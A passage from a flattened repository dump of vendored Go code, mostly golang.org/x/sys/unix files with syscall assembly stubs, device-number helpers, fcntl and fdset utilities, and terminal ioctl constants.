bcEncoding.EncodedLen(len(src)) 15 | dst := make([]byte, n) 16 | bcEncoding.Encode(dst, src) 17 | for dst[n-1] == '=' { 18 | n-- 19 | } 20 | return dst[:n] 21 | } 22 | 23 | func base64Decode(src []byte) ([]byte, error) { 24 | numOfEquals := 4 - (len(src) % 4) 25 | for i := 0; i < numOfEquals; i++ { 26 | src = append(src, '=') 27 | } 28 | 29 | dst := make([]byte, bcEncoding.DecodedLen(len(src))) 30 | n, err := bcEncoding.Decode(dst, src) 31 | if err != nil { 32 | return nil, err 33 | } 34 | return dst[:n], nil 35 | } 36 | -------------------------------------------------------------------------------- /vendor/golang.org/x/crypto/ssh/terminal/util_aix.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build aix 6 | 7 | package terminal 8 | 9 | import "golang.org/x/sys/unix" 10 | 11 | const ioctlReadTermios = unix.TCGETS 12 | const ioctlWriteTermios = unix.TCSETS 13 | -------------------------------------------------------------------------------- /vendor/golang.org/x/crypto/ssh/terminal/util_bsd.go: -------------------------------------------------------------------------------- 1 | // Copyright 2013 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build darwin dragonfly freebsd netbsd openbsd 6 | 7 | package terminal 8 | 9 | import "golang.org/x/sys/unix" 10 | 11 | const ioctlReadTermios = unix.TIOCGETA 12 | const ioctlWriteTermios = unix.TIOCSETA 13 | -------------------------------------------------------------------------------- /vendor/golang.org/x/crypto/ssh/terminal/util_linux.go: -------------------------------------------------------------------------------- 1 | // Copyright 2013 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package terminal 6 | 7 | import "golang.org/x/sys/unix" 8 | 9 | const ioctlReadTermios = unix.TCGETS 10 | const ioctlWriteTermios = unix.TCSETS 11 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/AUTHORS: -------------------------------------------------------------------------------- 1 | # This source code refers to The Go Authors for copyright purposes. 2 | # The master list of authors is in the main Go distribution, 3 | # visible at http://tip.golang.org/AUTHORS. 4 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/CONTRIBUTORS: -------------------------------------------------------------------------------- 1 | # This source code was written by the Go contributors. 2 | # The master list of contributors is in the main Go distribution, 3 | # visible at http://tip.golang.org/CONTRIBUTORS. 4 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/internal/unsafeheader/unsafeheader.go: -------------------------------------------------------------------------------- 1 | // Copyright 2020 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Package unsafeheader contains header declarations for the Go runtime's 6 | // slice and string implementations. 7 | // 8 | // This package allows x/sys to use types equivalent to 9 | // reflect.SliceHeader and reflect.StringHeader without introducing 10 | // a dependency on the (relatively heavy) "reflect" package. 11 | package unsafeheader 12 | 13 | import ( 14 | "unsafe" 15 | ) 16 | 17 | // Slice is the runtime representation of a slice. 18 | // It cannot be used safely or portably and its representation may change in a later release. 19 | type Slice struct { 20 | Data unsafe.Pointer 21 | Len int 22 | Cap int 23 | } 24 | 25 | // String is the runtime representation of a string. 26 | // It cannot be used safely or portably and its representation may change in a later release. 27 | type String struct { 28 | Data unsafe.Pointer 29 | Len int 30 | } 31 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/.gitignore: -------------------------------------------------------------------------------- 1 | _obj/ 2 | unix.test 3 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/aliases.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build (aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos) && go1.9 6 | // +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos 7 | // +build go1.9 8 | 9 | package unix 10 | 11 | import "syscall" 12 | 13 | type Signal = syscall.Signal 14 | type Errno = syscall.Errno 15 | type SysProcAttr = syscall.SysProcAttr 16 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/asm_aix_ppc64.s: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build gc 6 | // +build gc 7 | 8 | #include "textflag.h" 9 | 10 | // 11 | // System calls for ppc64, AIX are implemented in runtime/syscall_aix.go 12 | // 13 | 14 | TEXT ·syscall6(SB),NOSPLIT,$0-88 15 | JMP syscall·syscall6(SB) 16 | 17 | TEXT ·rawSyscall6(SB),NOSPLIT,$0-88 18 | JMP syscall·rawSyscall6(SB) 19 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/asm_bsd_386.s: -------------------------------------------------------------------------------- 1 | // Copyright 2021 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build (darwin || freebsd || netbsd || openbsd) && gc 6 | // +build darwin freebsd netbsd openbsd 7 | // +build gc 8 | 9 | #include "textflag.h" 10 | 11 | // System call support for 386 BSD 12 | 13 | // Just jump to package syscall's implementation for all these functions. 14 | // The runtime may know about them. 15 | 16 | TEXT ·Syscall(SB),NOSPLIT,$0-28 17 | JMP syscall·Syscall(SB) 18 | 19 | TEXT ·Syscall6(SB),NOSPLIT,$0-40 20 | JMP syscall·Syscall6(SB) 21 | 22 | TEXT ·Syscall9(SB),NOSPLIT,$0-52 23 | JMP syscall·Syscall9(SB) 24 | 25 | TEXT ·RawSyscall(SB),NOSPLIT,$0-28 26 | JMP syscall·RawSyscall(SB) 27 | 28 | TEXT ·RawSyscall6(SB),NOSPLIT,$0-40 29 | JMP syscall·RawSyscall6(SB) 30 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/asm_bsd_amd64.s: -------------------------------------------------------------------------------- 1 | // Copyright 2021 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build (darwin || dragonfly || freebsd || netbsd || openbsd) && gc 6 | // +build darwin dragonfly freebsd netbsd openbsd 7 | // +build gc 8 | 9 | #include "textflag.h" 10 | 11 | // System call support for AMD64 BSD 12 | 13 | // Just jump to package syscall's implementation for all these functions. 14 | // The runtime may know about them. 15 | 16 | TEXT ·Syscall(SB),NOSPLIT,$0-56 17 | JMP syscall·Syscall(SB) 18 | 19 | TEXT ·Syscall6(SB),NOSPLIT,$0-80 20 | JMP syscall·Syscall6(SB) 21 | 22 | TEXT ·Syscall9(SB),NOSPLIT,$0-104 23 | JMP syscall·Syscall9(SB) 24 | 25 | TEXT ·RawSyscall(SB),NOSPLIT,$0-56 26 | JMP syscall·RawSyscall(SB) 27 | 28 | TEXT ·RawSyscall6(SB),NOSPLIT,$0-80 29 | JMP syscall·RawSyscall6(SB) 30 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/asm_bsd_arm.s: -------------------------------------------------------------------------------- 1 | // Copyright 2021 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build (darwin || freebsd || netbsd || openbsd) && gc 6 | // +build darwin freebsd netbsd openbsd 7 | // +build gc 8 | 9 | #include "textflag.h" 10 | 11 | // System call support for ARM BSD 12 | 13 | // Just jump to package syscall's implementation for all these functions. 14 | // The runtime may know about them. 15 | 16 | TEXT ·Syscall(SB),NOSPLIT,$0-28 17 | B syscall·Syscall(SB) 18 | 19 | TEXT ·Syscall6(SB),NOSPLIT,$0-40 20 | B syscall·Syscall6(SB) 21 | 22 | TEXT ·Syscall9(SB),NOSPLIT,$0-52 23 | B syscall·Syscall9(SB) 24 | 25 | TEXT ·RawSyscall(SB),NOSPLIT,$0-28 26 | B syscall·RawSyscall(SB) 27 | 28 | TEXT ·RawSyscall6(SB),NOSPLIT,$0-40 29 | B syscall·RawSyscall6(SB) 30 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/asm_bsd_arm64.s: -------------------------------------------------------------------------------- 1 | // Copyright 2021 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build (darwin || freebsd || netbsd || openbsd) && gc 6 | // +build darwin freebsd netbsd openbsd 7 | // +build gc 8 | 9 | #include "textflag.h" 10 | 11 | // System call support for ARM64 BSD 12 | 13 | // Just jump to package syscall's implementation for all these functions. 14 | // The runtime may know about them. 15 | 16 | TEXT ·Syscall(SB),NOSPLIT,$0-56 17 | JMP syscall·Syscall(SB) 18 | 19 | TEXT ·Syscall6(SB),NOSPLIT,$0-80 20 | JMP syscall·Syscall6(SB) 21 | 22 | TEXT ·Syscall9(SB),NOSPLIT,$0-104 23 | JMP syscall·Syscall9(SB) 24 | 25 | TEXT ·RawSyscall(SB),NOSPLIT,$0-56 26 | JMP syscall·RawSyscall(SB) 27 | 28 | TEXT ·RawSyscall6(SB),NOSPLIT,$0-80 29 | JMP syscall·RawSyscall6(SB) 30 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/asm_linux_ppc64x.s: -------------------------------------------------------------------------------- 1 | // Copyright 2014 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build linux && (ppc64 || ppc64le) && gc 6 | // +build linux 7 | // +build ppc64 ppc64le 8 | // +build gc 9 | 10 | #include "textflag.h" 11 | 12 | // 13 | // System calls for ppc64, Linux 14 | // 15 | 16 | // Just jump to package syscall's implementation for all these functions. 17 | // The runtime may know about them. 18 | 19 | TEXT ·SyscallNoError(SB),NOSPLIT,$0-48 20 | BL runtime·entersyscall(SB) 21 | MOVD a1+8(FP), R3 22 | MOVD a2+16(FP), R4 23 | MOVD a3+24(FP), R5 24 | MOVD R0, R6 25 | MOVD R0, R7 26 | MOVD R0, R8 27 | MOVD trap+0(FP), R9 // syscall entry 28 | SYSCALL R9 29 | MOVD R3, r1+32(FP) 30 | MOVD R4, r2+40(FP) 31 | BL runtime·exitsyscall(SB) 32 | RET 33 | 34 | TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48 35 | MOVD a1+8(FP), R3 36 | MOVD a2+16(FP), R4 37 | MOVD a3+24(FP), R5 38 | MOVD R0, R6 39 | MOVD R0, R7 40 | MOVD R0, R8 41 | MOVD trap+0(FP), R9 // syscall entry 42 | SYSCALL R9 43 | MOVD R3, r1+32(FP) 44 | MOVD R4, r2+40(FP) 45 | RET 46 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/asm_openbsd_mips64.s: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build gc 6 | // +build gc 7 | 8 | #include "textflag.h" 9 | 10 | // 11 | // System call support for mips64, OpenBSD 12 | // 13 | 14 | // Just jump to package syscall's implementation for all these functions. 15 | // The runtime may know about them. 16 | 17 | TEXT ·Syscall(SB),NOSPLIT,$0-56 18 | JMP syscall·Syscall(SB) 19 | 20 | TEXT ·Syscall6(SB),NOSPLIT,$0-80 21 | JMP syscall·Syscall6(SB) 22 | 23 | TEXT ·Syscall9(SB),NOSPLIT,$0-104 24 | JMP syscall·Syscall9(SB) 25 | 26 | TEXT ·RawSyscall(SB),NOSPLIT,$0-56 27 | JMP syscall·RawSyscall(SB) 28 | 29 | TEXT ·RawSyscall6(SB),NOSPLIT,$0-80 30 | JMP syscall·RawSyscall6(SB) 31 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/asm_solaris_amd64.s: -------------------------------------------------------------------------------- 1 | // Copyright 2014 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build gc 6 | // +build gc 7 | 8 | #include "textflag.h" 9 | 10 | // 11 | // System calls for amd64, Solaris are implemented in runtime/syscall_solaris.go 12 | // 13 | 14 | TEXT ·sysvicall6(SB),NOSPLIT,$0-88 15 | JMP syscall·sysvicall6(SB) 16 | 17 | TEXT ·rawSysvicall6(SB),NOSPLIT,$0-88 18 | JMP syscall·rawSysvicall6(SB) 19 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/bluetooth_linux.go: -------------------------------------------------------------------------------- 1 | // Copyright 2016 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Bluetooth sockets and messages 6 | 7 | package unix 8 | 9 | // Bluetooth Protocols 10 | const ( 11 | BTPROTO_L2CAP = 0 12 | BTPROTO_HCI = 1 13 | BTPROTO_SCO = 2 14 | BTPROTO_RFCOMM = 3 15 | BTPROTO_BNEP = 4 16 | BTPROTO_CMTP = 5 17 | BTPROTO_HIDP = 6 18 | BTPROTO_AVDTP = 7 19 | ) 20 | 21 | const ( 22 | HCI_CHANNEL_RAW = 0 23 | HCI_CHANNEL_USER = 1 24 | HCI_CHANNEL_MONITOR = 2 25 | HCI_CHANNEL_CONTROL = 3 26 | HCI_CHANNEL_LOGGING = 4 27 | ) 28 | 29 | // Socketoption Level 30 | const ( 31 | SOL_BLUETOOTH = 0x112 32 | SOL_HCI = 0x0 33 | SOL_L2CAP = 0x6 34 | SOL_RFCOMM = 0x12 35 | SOL_SCO = 0x11 36 | ) 37 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/constants.go: -------------------------------------------------------------------------------- 1 | // Copyright 2015 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos 6 | // +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos 7 | 8 | package unix 9 | 10 | const ( 11 | R_OK = 0x4 12 | W_OK = 0x2 13 | X_OK = 0x1 14 | ) 15 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/dev_aix_ppc.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build aix && ppc 6 | // +build aix,ppc 7 | 8 | // Functions to access/create device major and minor numbers matching the 9 | // encoding used by AIX. 10 | 11 | package unix 12 | 13 | // Major returns the major component of a Linux device number. 14 | func Major(dev uint64) uint32 { 15 | return uint32((dev >> 16) & 0xffff) 16 | } 17 | 18 | // Minor returns the minor component of a Linux device number. 19 | func Minor(dev uint64) uint32 { 20 | return uint32(dev & 0xffff) 21 | } 22 | 23 | // Mkdev returns a Linux device number generated from the given major and minor 24 | // components. 25 | func Mkdev(major, minor uint32) uint64 { 26 | return uint64(((major) << 16) | (minor)) 27 | } 28 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/dev_aix_ppc64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build aix && ppc64 6 | // +build aix,ppc64 7 | 8 | // Functions to access/create device major and minor numbers matching the 9 | // encoding used AIX. 10 | 11 | package unix 12 | 13 | // Major returns the major component of a Linux device number. 14 | func Major(dev uint64) uint32 { 15 | return uint32((dev & 0x3fffffff00000000) >> 32) 16 | } 17 | 18 | // Minor returns the minor component of a Linux device number. 19 | func Minor(dev uint64) uint32 { 20 | return uint32((dev & 0x00000000ffffffff) >> 0) 21 | } 22 | 23 | // Mkdev returns a Linux device number generated from the given major and minor 24 | // components. 25 | func Mkdev(major, minor uint32) uint64 { 26 | var DEVNO64 uint64 27 | DEVNO64 = 0x8000000000000000 28 | return ((uint64(major) << 32) | (uint64(minor) & 0x00000000FFFFFFFF) | DEVNO64) 29 | } 30 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/dev_darwin.go: -------------------------------------------------------------------------------- 1 | // Copyright 2017 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Functions to access/create device major and minor numbers matching the 6 | // encoding used in Darwin's sys/types.h header. 7 | 8 | package unix 9 | 10 | // Major returns the major component of a Darwin device number. 11 | func Major(dev uint64) uint32 { 12 | return uint32((dev >> 24) & 0xff) 13 | } 14 | 15 | // Minor returns the minor component of a Darwin device number. 16 | func Minor(dev uint64) uint32 { 17 | return uint32(dev & 0xffffff) 18 | } 19 | 20 | // Mkdev returns a Darwin device number generated from the given major and minor 21 | // components. 22 | func Mkdev(major, minor uint32) uint64 { 23 | return (uint64(major) << 24) | uint64(minor) 24 | } 25 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/dev_dragonfly.go: -------------------------------------------------------------------------------- 1 | // Copyright 2017 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Functions to access/create device major and minor numbers matching the 6 | // encoding used in Dragonfly's sys/types.h header. 7 | // 8 | // The information below is extracted and adapted from sys/types.h: 9 | // 10 | // Minor gives a cookie instead of an index since in order to avoid changing the 11 | // meanings of bits 0-15 or wasting time and space shifting bits 16-31 for 12 | // devices that don't use them. 13 | 14 | package unix 15 | 16 | // Major returns the major component of a DragonFlyBSD device number. 17 | func Major(dev uint64) uint32 { 18 | return uint32((dev >> 8) & 0xff) 19 | } 20 | 21 | // Minor returns the minor component of a DragonFlyBSD device number. 22 | func Minor(dev uint64) uint32 { 23 | return uint32(dev & 0xffff00ff) 24 | } 25 | 26 | // Mkdev returns a DragonFlyBSD device number generated from the given major and 27 | // minor components. 28 | func Mkdev(major, minor uint32) uint64 { 29 | return (uint64(major) << 8) | uint64(minor) 30 | } 31 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/dev_freebsd.go: -------------------------------------------------------------------------------- 1 | // Copyright 2017 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Functions to access/create device major and minor numbers matching the 6 | // encoding used in FreeBSD's sys/types.h header. 7 | // 8 | // The information below is extracted and adapted from sys/types.h: 9 | // 10 | // Minor gives a cookie instead of an index since in order to avoid changing the 11 | // meanings of bits 0-15 or wasting time and space shifting bits 16-31 for 12 | // devices that don't use them. 13 | 14 | package unix 15 | 16 | // Major returns the major component of a FreeBSD device number. 17 | func Major(dev uint64) uint32 { 18 | return uint32((dev >> 8) & 0xff) 19 | } 20 | 21 | // Minor returns the minor component of a FreeBSD device number. 22 | func Minor(dev uint64) uint32 { 23 | return uint32(dev & 0xffff00ff) 24 | } 25 | 26 | // Mkdev returns a FreeBSD device number generated from the given major and 27 | // minor components. 28 | func Mkdev(major, minor uint32) uint64 { 29 | return (uint64(major) << 8) | uint64(minor) 30 | } 31 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/dev_netbsd.go: -------------------------------------------------------------------------------- 1 | // Copyright 2017 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Functions to access/create device major and minor numbers matching the 6 | // encoding used in NetBSD's sys/types.h header. 7 | 8 | package unix 9 | 10 | // Major returns the major component of a NetBSD device number. 11 | func Major(dev uint64) uint32 { 12 | return uint32((dev & 0x000fff00) >> 8) 13 | } 14 | 15 | // Minor returns the minor component of a NetBSD device number. 16 | func Minor(dev uint64) uint32 { 17 | minor := uint32((dev & 0x000000ff) >> 0) 18 | minor |= uint32((dev & 0xfff00000) >> 12) 19 | return minor 20 | } 21 | 22 | // Mkdev returns a NetBSD device number generated from the given major and minor 23 | // components. 24 | func Mkdev(major, minor uint32) uint64 { 25 | dev := (uint64(major) << 8) & 0x000fff00 26 | dev |= (uint64(minor) << 12) & 0xfff00000 27 | dev |= (uint64(minor) << 0) & 0x000000ff 28 | return dev 29 | } 30 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/dev_openbsd.go: -------------------------------------------------------------------------------- 1 | // Copyright 2017 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Functions to access/create device major and minor numbers matching the 6 | // encoding used in OpenBSD's sys/types.h header. 7 | 8 | package unix 9 | 10 | // Major returns the major component of an OpenBSD device number. 11 | func Major(dev uint64) uint32 { 12 | return uint32((dev & 0x0000ff00) >> 8) 13 | } 14 | 15 | // Minor returns the minor component of an OpenBSD device number. 16 | func Minor(dev uint64) uint32 { 17 | minor := uint32((dev & 0x000000ff) >> 0) 18 | minor |= uint32((dev & 0xffff0000) >> 8) 19 | return minor 20 | } 21 | 22 | // Mkdev returns an OpenBSD device number generated from the given major and minor 23 | // components. 24 | func Mkdev(major, minor uint32) uint64 { 25 | dev := (uint64(major) << 8) & 0x0000ff00 26 | dev |= (uint64(minor) << 8) & 0xffff0000 27 | dev |= (uint64(minor) << 0) & 0x000000ff 28 | return dev 29 | } 30 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/dev_zos.go: -------------------------------------------------------------------------------- 1 | // Copyright 2020 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build zos && s390x 6 | // +build zos,s390x 7 | 8 | // Functions to access/create device major and minor numbers matching the 9 | // encoding used by z/OS. 10 | // 11 | // The information below is extracted and adapted from macros. 12 | 13 | package unix 14 | 15 | // Major returns the major component of a z/OS device number. 16 | func Major(dev uint64) uint32 { 17 | return uint32((dev >> 16) & 0x0000FFFF) 18 | } 19 | 20 | // Minor returns the minor component of a z/OS device number. 21 | func Minor(dev uint64) uint32 { 22 | return uint32(dev & 0x0000FFFF) 23 | } 24 | 25 | // Mkdev returns a z/OS device number generated from the given major and minor 26 | // components. 27 | func Mkdev(major, minor uint32) uint64 { 28 | return (uint64(major) << 16) | uint64(minor) 29 | } 30 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/endian_big.go: -------------------------------------------------------------------------------- 1 | // Copyright 2016 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | // 5 | //go:build armbe || arm64be || m68k || mips || mips64 || mips64p32 || ppc || ppc64 || s390 || s390x || shbe || sparc || sparc64 6 | // +build armbe arm64be m68k mips mips64 mips64p32 ppc ppc64 s390 s390x shbe sparc sparc64 7 | 8 | package unix 9 | 10 | const isBigEndian = true 11 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/endian_little.go: -------------------------------------------------------------------------------- 1 | // Copyright 2016 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | // 5 | //go:build 386 || amd64 || amd64p32 || alpha || arm || arm64 || mipsle || mips64le || mips64p32le || nios2 || ppc64le || riscv || riscv64 || sh 6 | // +build 386 amd64 amd64p32 alpha arm arm64 mipsle mips64le mips64p32le nios2 ppc64le riscv riscv64 sh 7 | 8 | package unix 9 | 10 | const isBigEndian = false 11 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/env_unix.go: -------------------------------------------------------------------------------- 1 | // Copyright 2010 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos 6 | // +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos 7 | 8 | // Unix environment variables. 9 | 10 | package unix 11 | 12 | import "syscall" 13 | 14 | func Getenv(key string) (value string, found bool) { 15 | return syscall.Getenv(key) 16 | } 17 | 18 | func Setenv(key, value string) error { 19 | return syscall.Setenv(key, value) 20 | } 21 | 22 | func Clearenv() { 23 | syscall.Clearenv() 24 | } 25 | 26 | func Environ() []string { 27 | return syscall.Environ() 28 | } 29 | 30 | func Unsetenv(key string) error { 31 | return syscall.Unsetenv(key) 32 | } 33 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2020 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Constants that were deprecated or moved to enums in the FreeBSD headers. Keep 6 | // them here for backwards compatibility. 7 | 8 | package unix 9 | 10 | const ( 11 | DLT_HHDLC = 0x79 12 | IPV6_MIN_MEMBERSHIPS = 0x1f 13 | IP_MAX_SOURCE_FILTER = 0x400 14 | IP_MIN_MEMBERSHIPS = 0x1f 15 | RT_CACHING_CONTEXT = 0x1 16 | RT_NORTREF = 0x2 17 | ) 18 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/fcntl_darwin.go: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package unix 6 | 7 | import "unsafe" 8 | 9 | // FcntlInt performs a fcntl syscall on fd with the provided command and argument. 10 | func FcntlInt(fd uintptr, cmd, arg int) (int, error) { 11 | return fcntl(int(fd), cmd, arg) 12 | } 13 | 14 | // FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command. 15 | func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error { 16 | _, err := fcntl(int(fd), cmd, int(uintptr(unsafe.Pointer(lk)))) 17 | return err 18 | } 19 | 20 | // FcntlFstore performs a fcntl syscall for the F_PREALLOCATE command. 21 | func FcntlFstore(fd uintptr, cmd int, fstore *Fstore_t) error { 22 | _, err := fcntl(int(fd), cmd, int(uintptr(unsafe.Pointer(fstore)))) 23 | return err 24 | } 25 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/fcntl_linux_32bit.go: -------------------------------------------------------------------------------- 1 | // Copyright 2014 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build (linux && 386) || (linux && arm) || (linux && mips) || (linux && mipsle) || (linux && ppc) 6 | // +build linux,386 linux,arm linux,mips linux,mipsle linux,ppc 7 | 8 | package unix 9 | 10 | func init() { 11 | // On 32-bit Linux systems, the fcntl syscall that matches Go's 12 | // Flock_t type is SYS_FCNTL64, not SYS_FCNTL. 13 | fcntl64Syscall = SYS_FCNTL64 14 | } 15 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/fdset.go: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris 6 | // +build aix darwin dragonfly freebsd linux netbsd openbsd solaris 7 | 8 | package unix 9 | 10 | // Set adds fd to the set fds. 11 | func (fds *FdSet) Set(fd int) { 12 | fds.Bits[fd/NFDBITS] |= (1 << (uintptr(fd) % NFDBITS)) 13 | } 14 | 15 | // Clear removes fd from the set fds. 16 | func (fds *FdSet) Clear(fd int) { 17 | fds.Bits[fd/NFDBITS] &^= (1 << (uintptr(fd) % NFDBITS)) 18 | } 19 | 20 | // IsSet returns whether fd is in the set fds. 21 | func (fds *FdSet) IsSet(fd int) bool { 22 | return fds.Bits[fd/NFDBITS]&(1<<(uintptr(fd)%NFDBITS)) != 0 23 | } 24 | 25 | // Zero clears the set fds. 26 | func (fds *FdSet) Zero() { 27 | for i := range fds.Bits { 28 | fds.Bits[i] = 0 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2015 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build gccgo && linux && amd64 6 | // +build gccgo,linux,amd64 7 | 8 | package unix 9 | 10 | import "syscall" 11 | 12 | //extern gettimeofday 13 | func realGettimeofday(*Timeval, *byte) int32 14 | 15 | func gettimeofday(tv *Timeval) (err syscall.Errno) { 16 | r := realGettimeofday(tv, nil) 17 | if r < 0 { 18 | return syscall.GetErrno() 19 | } 20 | return 0 21 | } 22 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/pagesize_unix.go: -------------------------------------------------------------------------------- 1 | // Copyright 2017 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris 6 | // +build aix darwin dragonfly freebsd linux netbsd openbsd solaris 7 | 8 | // For Unix, get the pagesize from the runtime. 9 | 10 | package unix 11 | 12 | import "syscall" 13 | 14 | func Getpagesize() int { 15 | return syscall.Getpagesize() 16 | } 17 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/ptrace_darwin.go: -------------------------------------------------------------------------------- 1 | // Copyright 2020 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | //go:build darwin && !ios 6 | // +build darwin,!ios 7 | 8 | package unix 9 | 10 | func ptrace(request int, pid int, addr uintptr, data uintptr) error { 11 | return ptrace1(request, pid, addr, data) 12 | } 13 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/unix/ptrace_ios.go: -------------------------------------------------------------------------------- 1 | // Copyright 2020 